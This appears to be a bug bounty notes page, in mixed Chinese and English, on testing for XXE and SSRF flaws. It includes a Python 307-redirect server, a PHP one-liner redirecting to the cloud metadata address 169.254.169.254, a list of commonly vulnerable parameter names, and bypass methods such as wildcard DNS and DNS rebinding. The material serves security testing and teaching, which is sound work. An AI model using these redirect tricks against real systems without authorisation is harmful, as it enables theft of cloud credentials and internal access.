BountyTips

XXE

Some methods to check XXE
vuln 1- Convert the content type from "application/json"/"application/x-www-form-urlencoded" to "applcation/xml".
2- If svg allowed in picture upload , you can inject xml in svgs.
关键:允许上传SVG

SSRF

302

#!/usr/bin/env python3

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("""
Usage: {} <port_number> <url>
    """.format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(307)
       self.send_header('Location', sys.argv[2])
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

常见出现SSRF参数

dest  
redirect  
uri  
path  
continue  
url  
window  
next  
data  
reference  
site  
html  
val  
validate  
domain  
callback  
return  
page  
feed  
host  
port  
to  
out  
view  
dir  
show  
navigation

相关Burp插件HUNT

常见出现SSRF功能点

常见绕过方法

使用主机名而不是 IP

有时,开发者直接禁止使用169.254.169.254。在这种情况下,我们可以简单地使用解析为相同 IP 地址的主机名。Nip.io 允许任何 IP 地址使用简单的通配符 DNS;这里有些例子。所有这些都解析为 169.254.169.254。

HTTP 重定向

假设我们可以向 customdomain.com 发出请求,但不能向 169.254.169.254 发出请求。

我们可以在 customdomain.com 上托管一个简单的脚本,将 302 重定向到 169.254.169.254。如果易受攻击的端点遵循重定向但不检查它们,我们就有了 SSRF!
下面是一个用于执行重定向的简单 PHP 脚本。
<?php header(“Location: http://169.254.169.254/”) ?>

DNS Rebinding

许多应用程序尝试使用如下所示的代码模式来阻止 SSRF 尝试:

func fetch_if_allowed(url string){  
    if ip_is_blocked(resolve($url)){  
        return false  
    } else {  
        fetch($url)  
    }  
}

此代码容易受到一种TOCTOU (time-of-check, time-of-use) 名为 DNS重绑定漏洞影响
check和use之间有时差。攻击者可以设置一个 DNS 服务器,该服务器对交替请求响应两个不同的 IP 地址,一个通过ip_is_blocked ()函数允许,另一个则不允许。
在这种情况下,我们可以设置一个 DNS 重新绑定服务,例如Taviso 的 rbndr,每秒解析为 1.1.1.1,每隔一次解析为 169.254.169.254。当第一次解析域时,应用程序发现它解析为 1.1.1.1,并允许代码流入 else语句,在该语句中再次解析域 - 这次解析为 169.254.169.254。

非标准 IP 表示法

Refence:
https://labs.detectify.com/2022/09/23/ssrf-vulns-and-where-to-find-them/